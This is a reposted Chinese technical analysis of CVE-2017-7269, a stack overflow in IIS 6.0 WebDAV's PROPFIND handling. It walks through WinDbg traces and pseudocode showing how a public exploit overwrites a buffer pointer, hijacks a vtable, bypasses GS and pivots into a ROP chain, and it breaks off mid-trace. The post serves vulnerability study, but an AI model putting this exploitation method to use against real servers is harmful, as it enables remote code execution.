CVE-2017-7269 IIS6.0远程代码执行漏洞分析及E
转载请注明出处
markdown整理:303donatello
作者:k0shl
作者博客:http://whereisk0shl.top
前言
CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。
目前在github上有一个在windows server 2003 r2上稳定利用的exploit,这个exp目前执行的功能是弹计算器,使用的shellcode方法是alpha shellcode,这是由于url在内存中以宽字节形式存放,以及其中包含的一些badchar,导致无法直接使用shellcode执行代码,而需要先以alpha shellcode的方法,以ascii码形式以宽字节写入内存,然后再通过一小段解密之后执行代码。
github地址:https://github.com/edwardz246003/IIS_exploit
这个漏洞其实原理非常简单,但是其利用方法却非常有趣,我在入门的时候调试过很多stack overflow及其exp,但多数都是通过覆盖ret,覆盖seh等方法完成的攻击,直到我见到了这个exploit,感觉非常艺术。但这个漏洞也存在其局限性,比如对于aslr来说似乎没有利用面,因此在高版本windows server中利用似乎非常困难,windows server 2003 r2没有aslr保护。
在这篇文章中,我将首先简单介绍一下这个漏洞的利用情况;接着,我将和大家一起分析一下这个漏洞的形成原因;然后我将给大家详细介绍这个漏洞的利用,最后我将简要分析一下这个漏洞的rop及shellcode。
漏洞环境搭建
漏洞环境的搭建非常简单,我的环境是windows server 2003 r2 32位英文企业版,安装之后需要进入系统配置一下iis6.0,首先在登陆windows之后,选择配置服务器,安装iis6.0服务,之后进入iis6.0管理器,在管理器中,有一个windows扩展,在扩展中有一个webdav选项,默认是进入用状态,在左侧选择allow,开启webdav,之后再iis管理器中默认网页中创建一个虚拟目录(其实这一步无所谓),随后选择run->services.msc->WebClient服务,将其开启,这样完成了我的配置。
触发漏洞
漏洞触发非常简单,直接在本地执行python exp.py即可,这里为了观察过程,我修改了exp,将其改成远程,我们通过wireshark抓包,可以看到和目标机的交互行为。
可以看到,攻击主机向目标机发送了一个PROPFIND数据包,这个是负责webdav处理的一个指令,其中包含了我们的攻击数据,一个<>包含了两个超长的httpurl请求,其中在两个http url中间还有一个lock token的指令内容。
随后我们可以看到,在靶机执行了calc,其进程创建在w2wp进程下,用户组是NETWORK SERVICE。
2
我在最开始的时候以为这个calc是由于SWHIDE的参数设置导致在后台运行,后来发现其实是由于webdav服务进程本身就是无窗口的,导致calc即使定义了SWSHOWNORMAL,也只是在后台启动了。
事实上,这个漏洞及时没有后面的<>中的http url,单靠一个IF:<>也能够触发,而之所以加入了第二个<>以及lock token,是因为作者想利用第一次和第二次http请求来完成一次精妙的利用,最后在指令下完成最后一击。
我尝试去掉第二次<>以及请求,同样能引发iis服务的crash。
3CVE-2017-7269漏洞分析
这个漏洞的成因是在WebDav服务动态链接库的httpext.dll的ScStorageFromUrl函数中,这里为了方便,我们直接来跟踪分析该函数,在下一小节内容,我将和大家来看看整个精妙利用的过程。我将先动态分析整个过程,然后贴出这个存在漏洞函数的伪代码。
在ScStorageFromUrl函数中,首先会调用ScStripAndCheckHttpPrefix函数,这个函数主要是获取头部信息进行检查以及对host name进行检查。
0:009> p//调用CchUrlPrefixW获取url头部信息
eax=67113bc8 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW (6712c72a)}
0:009> p
eax=00000007 ebx=00fffbe8 ecx=00fff4cc edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f6 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStripAndCheckHttpPrefix+0x21:
671335f6 8bd8 mov ebx,eax
0:009> dc esi l6//esi存放头部信息,以及server name,这个localhost会在后面获取到。
0060c648 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c658 0063006f 006c0061 o.c.a.l.
在check完http头部和hostname之后,会调用wlen函数获取当前http url长度。
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6d:
67126ce8 50 push eax
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce9 esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
67126ce9 ff1550121167 call dword ptr [httpext!_imp__wcslen (67111250)] ds:0023:67111250={msvcrt!wcslen (77bd8ef2)}
0:009> r eax
eax=0060e7d0
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
0060e7f0 38714433 5a625765 56615435 6a536952 3Dq8eWbZ5TaVRiSj
0060e800 384e5157 63555948 43644971 34686472 WQN8HYUcqIdCrdh4
0060e810 71794758 6b55336b 504f6d48 34717a46 XGyqk3UkHmOPFzq4
0060e820 74436f54 6f6f5956 34577341 7a726168 ToCtVYooAsW4harz
0060e830 4d493745 5448574e 367a4c38 62663572 E7IMNWHT8Lz6r5fb
0060e840 486d6e43 61773548 61744d5a 43654133 CnmHH5waZMta3AeC
0:009> p
eax=000002fd ebx=0060b508 ecx=00600000 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cef esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x74:
67126cef 59 pop ecx
0:009> r eax
eax=000002fd
在利用的关键一次,我们获取的是poc中http://localhost/bbbbb的字符串,这个字符串长度很长,可以看到eax寄存器存放的是url长度,长度是0x2fd,随后会进入一系列的判断,主要是检查url中一些特殊字符,比如0x2f。
0:009> g//eax存放的是指向url的指针,这里会获取指针的第一个字符,然后和“/”作比较
Breakpoint 1 hit
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cd7 esp=00fff334 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x5c:
67126cd7 6683382f cmp word ptr [eax],2Fh ds:0023:0060e7d0=002f
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
经过一系列的检查之后,会进入一系列的memcpy函数,主要就是用来构造虚拟文件路径,这个地方拷贝的长度没有进行控制,而拷贝的目标地址,是在外层函数调用stackbuff申请的地址,这个地址会保存在栈里。在ScStorageFromUrl函数中用到,也就是在memcpy函数中用到,作为目的拷贝的地址。
ScStorageFromUrl函数中实际上在整个漏洞触发过程中会调用很多次,我们跟踪的这一次,是在漏洞利用中的一个关键环节之一。首先我们来看一下第一次有效的memcpy
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00000012 edi=680312c0
eip=67126fa9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x32e:
67126fa9 8db5c4fbffff lea esi,[ebp-43Ch]
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00fff35c edi=680312c0
eip=67126faf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
67126faf f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:009> r esi
esi=00fff35c
0:009> dc esi
00fff35c 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
00fff36c 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
00fff37c 0074006f 0062005c 00620062 00620062 o.t.\.b.b.b.b.b.
00fff38c 00620062 61757948 6f674f43 48456b6f b.b.HyuaCOgookEH
这次memcpy拷贝过程中,会将esi寄存器中的值拷贝到edi寄存器中,可以看到edi寄存器的值是0x680312c0,这个值很有意思,在之前我提到过,这个buffer的值会在外层函数中申请,并存放在栈中,因此正常情况应该是向一个栈地址拷贝,而这次为什么会向一个堆地址拷贝呢?
这是个悬念,也是我觉得这个利用巧妙的地方,下面我们先进入后面的分析,在memcpy中,也就是rep movs中ecx的值决定了memcpy的长度,第一次拷贝的长度是0x9。
接下来,回进入第二次拷贝,这次拷贝的长度就比较长了。
0:009> p//长度相减,0x2fd-0x0
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc4 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x349:
67126fc4 2bda sub ebx,edx
0:009> r ebx
ebx=000002fd
0:009> r edx
edx=00000000
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34b:
67126fc6 8d3456 lea esi,[esi+edx*2]
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34e:
67126fc9 8b95b0fbffff mov edx,dword ptr [ebp-450h] ss:0023:00fff348=680312c0
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fcf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x354:
67126fcf 8d3c10 lea edi,[eax+edx]
0:009> p//ecx的值为dword值
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd2 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x357:
67126fd2 8d4c1b02 lea ecx,[ebx+ebx+2]
0:009> p
eax=00000024 ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35b:
67126fd6 8bc1 mov eax,ecx
0:009> p//最后拷贝的长度再除以4
eax=000005fc ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35d:
67126fd8 c1e902 shr ecx,2
0:009> p//这次拷贝17f的值 key!!!看ecx
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fdb esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,这次拷贝的长度是0x17f,长度非常大,而在整个分析的过程中,并没有对拷贝的长度进行控制,因此,可以拷贝任意超长的字符串,进入这个堆空间。
这个堆空间非常有意思,存放的是一个vftable,这个vftable会在ScStorageFromUrl函数中的某个内层函数调用调用到,还记得之前分析的ScStripAndCheckHttpPrefi函数吗。
0:009> p//正常情况ScStripAndCheckHttpPrefix函数中对vftable的获取
eax=00fff9a4 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335e8 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
671335e8 8b07 mov eax,dword ptr [edi] ds:0023:00605740={httpext!CEcb::`vftable' (67113bc8)}
获取完虚表之后,会获取到对应的虚函数,在ScStripAndCheckHttpPrefix函数中call调用到。但是由于之前的memcpy覆盖,导致这个vftable被覆盖。
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f0 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1b:
671335f0 8955f4 mov dword ptr [ebp-0Ch],edx ss:0023:00fff4c4=00000000
0:009> p//eax是vftable,而call [eax+24]调用虚函数,这里由于之前的覆盖,导致跳转到可控位置
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
这个漏洞的原理非常简单,在PROPFIND中,由于对http的长度没有进行检查,导致在memcpy中,可以拷贝超长的字符串,覆盖到栈中的关键位置,下面来看一下伪代码。
__int32 __fastcall ScStoragePathFromUrl(const struct IEcb *a1, wchar_t *a2, unsigned __int16 *a3, unsigned int *a4, struct CVRoot **a5)
{
v35 = a3;
v5 = a1;
Str = a2;
v37 = (int)a1;
v34 = a4;
v33 = a5;
result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&Str);//主要用来检查开头信息,比如http头以及host等等
if ( result < 0 )
return result;
if ( *Str != 47 )//判断第一个值是不是/
return -2146107135;
v7 = _wcslen(Str);//获取str长度,也就是畸形url长度
result = IEcbBase::ScReqMapUrlToPathEx(Str, WideCharStr);
v36 = result;
if ( result < 0 )
return result;
v8 = (*(int (__thiscall **)(const struct IEcb *, wchar_t **))(*(_DWORD *)v5 + 52))(v5, &Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW (6712d665) 获取虚拟路径
if ( v8 == v42 )
{
if ( !v8 || Str[v8 - 1] && !__wcsnicmp(Str1, Str, v8) )
goto LABEL_14;
}
else if ( v8 + 1 == v42 )
{
v9 = Str[v8];
if ( v9 == 47 || !v9 )
{
--v42;
goto LABEL_14;
}
}
v36 = 1378295;
LABEL_14:
if ( v36 == 1378295 && a5 )
{
……
}
v16 = v41;
if ( v41 )
{
v17 = (const unsigned __int16 *)((char *)&v39 + 2 * v41 + 2);
if ( *v17 == 92 )
{
while ( v16 && *v17 == 92 && !FIsDriveTrailingChar(v17, v16) )
{
v41 = --v16;
--v17;
}
}
else if ( !*v17 )
{
v16 = v41-- - 1;
}
}
v18 = v16 - v42 + v7 + 1;
v19 = *v34 < v18;
v37 = v16 - v42 + v7 + 1;
if ( v19 )
{
……
}
else//进入这一处else处理
{
v21 = v35;
v22 = v16;
v23 = 2 * v16;
v24 = (unsigned int)(2 * v16) >> 2;
qmemcpy(v35, WideCharStr, 4 * v24);//拷贝虚拟路径
v26 = &WideCharStr[2 * v24];
v25 = &v21[2 * v24];
LOBYTE(v24) = v23;
v27 = v42;
qmemcpy(v25, v26, v24 & 3);
v28 = v7 - v27;//这里v7是0x2fd,相减赋值给v28,这个值很大,v27为0
v29 = &Str[v27];
v30 = v35;
qmemcpy(&v35[v22], v29, 2 * v28 + 2);//直接拷贝到栈中,没有对长度进行检查,导致溢出
for ( i = &v30[v41]; *i; ++i )
{
if ( *i == 47 )
*i = 92;
}
*v34 = v37;
result = v36;
}
return result;
}
如果看的比较迷糊,可以看我下面的描述,首先这个while函数中,有一个非常有意思的函数PszNextToken,这个函数会连续获取<>中的http url,直到后面没有http url,则跳出循环,这也是这个漏洞利用的关键条件。
首先,第一次会处理IF后面的第一个http url,这个url就是http://localhost/aaaa ..,这个处理过程,实际上就完成了第一次溢出,首先stackbuffer会通过CStackBuffer函数获取,获取到之后,这个值会存放在stack中的一个位置。接下来会进行第一次ScStorageFromUrl,这个地方会对第一个<>中的http url处理。长度是0xa7。
0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060c64a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}//第一次处理aaaa部分,长度只有a7
0:009> dc 60c64a
0060c64a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c65a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060c66a 0061002f 00610061 00610061 00610061 /.a.a.a.a.a.a.a.
0060c67a 78636f68 71337761 47726936 4b777a39 hocxaw3q6irG9zwK
0:009> p
eax=000000a7
这个a7长度很小,不会覆盖到gs,因此可以通过security check,但是这个a7却是一个溢出,它超过了stack buffer的长度,会覆盖到stack中关于stack buffer指针的存放位置。这个位置保存在ebp-328的位置。
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=67125479 esp=00fff7b8 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x153:
67125479 ffb5e4fdffff push dword ptr [ebp-21Ch] ss:0023:00fffa18=0060c828
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=6712547f esp=00fff7b4 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x159:
6712547f e8cd3fffff call httpext!CMethUtil::ScStoragePathFromUrl (67119451)
0:009> dd ebp-328//注意拷贝的地址,这个90c是scstoragepathfromurl要拷贝的栈地址
00fff90c 00fff804 6711205b 00000013 00fff9c0
00fff91c 671287e7 00000000 000000f0 00000013
可以看到,第一次ScStoragePathFromUrl的时候,拷贝的地址是一个栈地址,通过stackbuffer申请到的,但是由于memcpy引发的栈溢出,导致这个地方值会被覆盖。
0:009> g//执行结束ScStoragePathFromUrl函数执行返回后 Breakpoint 0 hit eax=00fff800 ebx=0060b508 ecx=00605740 edx=0060c828 esi=00000001 edi=77bd8ef2 eip=67126c7b esp=00fff79c ebp=00fff7ac iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 httpext!ScStoragePathFromUrl: 67126c7b b8150d1467 mov eax,offset httpext!swscanf+0x14b5 (67140d15) 0:009> g Breakpoint 3 hit eax=00000000 ebx=0060b508 ecx=00002f06 edx=00fff804 esi=00000001 edi=77bd8ef2 eip=67125484 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!HrCheckIfHeader+0x15e: 67125484 8bf0 mov esi,eax 0:009> dc fff804//第一次memcpy之后,覆盖到了90c的位置 00fff804 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p. 00fff814 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o. 00fff824 0074006f 0061005c 00610061 00610061 o.t.\.a.a.a.a.a. 00fff834 00610061 78636f68 71337761 47726936 a.a.hocxaw3q6irG 00fff844 4b777a39 75534f70 48687a4f 6d545663 9zwKpOSuOzhHcVTm 00fff854 39536845 5567506c 33646763 78454630 EhS9lPgUcgd30FEx 00fff864 54316952 6a514c58 42317241 58507035 Ri1TXLQjAr1B5pPX 00fff874 6c473664 546a3539 54435034 50617752 d6Gl95jT4PCTRwaP 0:009> dd fff900 00fff900 5a306272 54485938 02020202 680312c0
经过这次stack buffer overflow,这个值已经被覆盖,覆盖成了一个堆地址0x680312c0。接下来进入第二次调用。
0:009> p eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060d32a edi=77bd8ef2 eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 httpext!HrCheckIfHeader+0xbc: 671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)} 0:009> dc 60d32a 0060d32a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l. 0060d33a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t. 0060d34a 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b. 0:009> p eax=0000030d
第二次获得http://localhost/bbbbb ...的长度,这个长度有0x30d,非常长,但是对应保存的位置变了。
0:009> p eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2 eip=67125436 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 httpext!HrCheckIfHeader+0x110: 67125436 50 push eax 0:009> p eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2 eip=67125437 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 httpext!HrCheckIfHeader+0x111: 67125437 ffb5d8fcffff push dword ptr [ebp-328h] ss:0023:00fff90c=680312c0 0:009> dc ebp-328 00fff90c 680312c0 52566c44 6c6d4b37 585a4f58 ...hDlVR7KmlXOZX 00fff91c 496a7950 4a52584f 664d4150 680313c0 PyjIOXRJPAMf...h 00fff92c 65314834 6e666f43 436c7441 680313c0 4H1eCofnAtlC...h 00fff93c 6a415343 33307052 424c5866 6346704b CSAjRp03fXLBKpFc0:009> dd 680312c0//要用到的堆地址,这个地址会在最后用到 680312c0 00000000 00000000 00000000 00000000 680312d0 00000000 00000000 00000000 00000000 680312e0 00000000 00000000 00000000 00000000
可以看到,第二次利用的时候,会把ebp-328这个地方的值推入栈中,这个地方应该是stack buffer的地址,应该是个栈地址,但是现在变成了堆地址,就是由于第一次栈溢出,覆盖了这个变量。
而这个值,会作为参数传入ScStorageFromUrl函数,作为memcpy拷贝的值。
这也就解释了为什么我们在上面分析漏洞的时候,会是向堆地址拷贝,而这一次拷贝,就不需要控制长度了,因为这个地方的值已经是堆地址,再怎么覆盖,也不会覆盖到cookie。这里未来要覆盖IEcb虚表结构。从而达到漏洞利用。这样,第二次向堆地址拷贝之后,这个堆地址会覆盖到IEcb的虚表,这个虚表结构会在最后利用时引用到。
在PoC中,有一处,这个会触发漏洞利用,是在CheckIfHeader之后到达位置,在CheckIfHeader的PszToken函数判断没有<>的http url之后,break掉,之后进入lock token处理。
0:009> p eax=67140d15 ebx=00fffbe8 ecx=680313c0 edx=0060e7b0 esi=00fffc28 edi=00000104 eip=67126c80 esp=00fff940 ebp=00fff950 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 httpext!ScStoragePathFromUrl+0x5: 67126c80 e803100000 call httpext!_EH_prolog (67127c88) 0:009> kb ChildEBP RetAddr Args to Child 00fff93c 67119469 00fffab4 00fff9a4 00000000 httpext!ScStoragePathFromUrl+0x5 00fff950 67125740 0060e7b0 00fffab4 00fff9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18 00fffbd0 664d4150 680313c0 65314834 6e666f43 httpext!CParseLockTokenHeader::HrGetLockIdForPath +0x119WARNING: Frame IP not in any known module. Following frames may be wrong. 00fffc3c 6711f68e 0060b508 0060584e 80000000 0x664d4150 00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0x125
这时候对应的IEcb已经被覆盖,这样,在进入ScStoragePathFromUrl函数之后,会进入我们在漏洞分析部分提到的CheckPrefixUrl函数,这个函数中有大量的IEcb虚表虚函数引用。
0:009> p eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0 eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1e: 671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082 0:009> dc eax 680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv 680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
和大家分享了这个精妙利用,一般可能都会觉得是第二次url bbbbb的这个memcpy覆盖了关键函数导致的溢出、利用,实际上,在第一次url aaaaaa中,就已经引发了栈溢出,覆盖到了stackbuffer申请的指向栈buffer的指针,这个指针存放在栈里,用于后续调用存放虚拟路径,由于第一次栈溢出,覆盖到了这个变量导致第二次url bbbbb拷贝的时候,是向一个堆地址拷贝,这个堆地址后面的偏移中,存放着IEcb的vftable,通过覆盖虚表虚函数,在最后locktoken触发的ScStoragePathFromUrl中利用虚函数达到代码执行。
而这个过程,也是巧妙的绕过了GS的检查。
简析ROP及shellcode
这个漏洞使用了一些非常有意思的手法,一个是TK教主在13年安全会议上提到的shareduserdata,在ROP中,另一个是alpha shellcode。
首先,在前面虚函数执行之后,会先进行stack pivot,随后进入rop。
0:009> t//stack pivot!!!
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016082 esp=00fff4b0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x42:
68016082 8be1 mov esp,ecx
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016084 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x44:
68016084 8b08 mov ecx,dword ptr [eax] ds:0023:680313c0=680313c0
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016086 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x46:
68016086 8b4004 mov eax,dword ptr [eax+4] ds:0023:680313c4=68006e4f
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016089 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x49:
68016089 50 push eax
0:009> p//ROP Chain
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=6801608a esp=680313bc ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x4a:
6801608a c3 ret
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68006e4f esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e50 esp=680313c4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3c:
68006e50 5d pop ebp
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
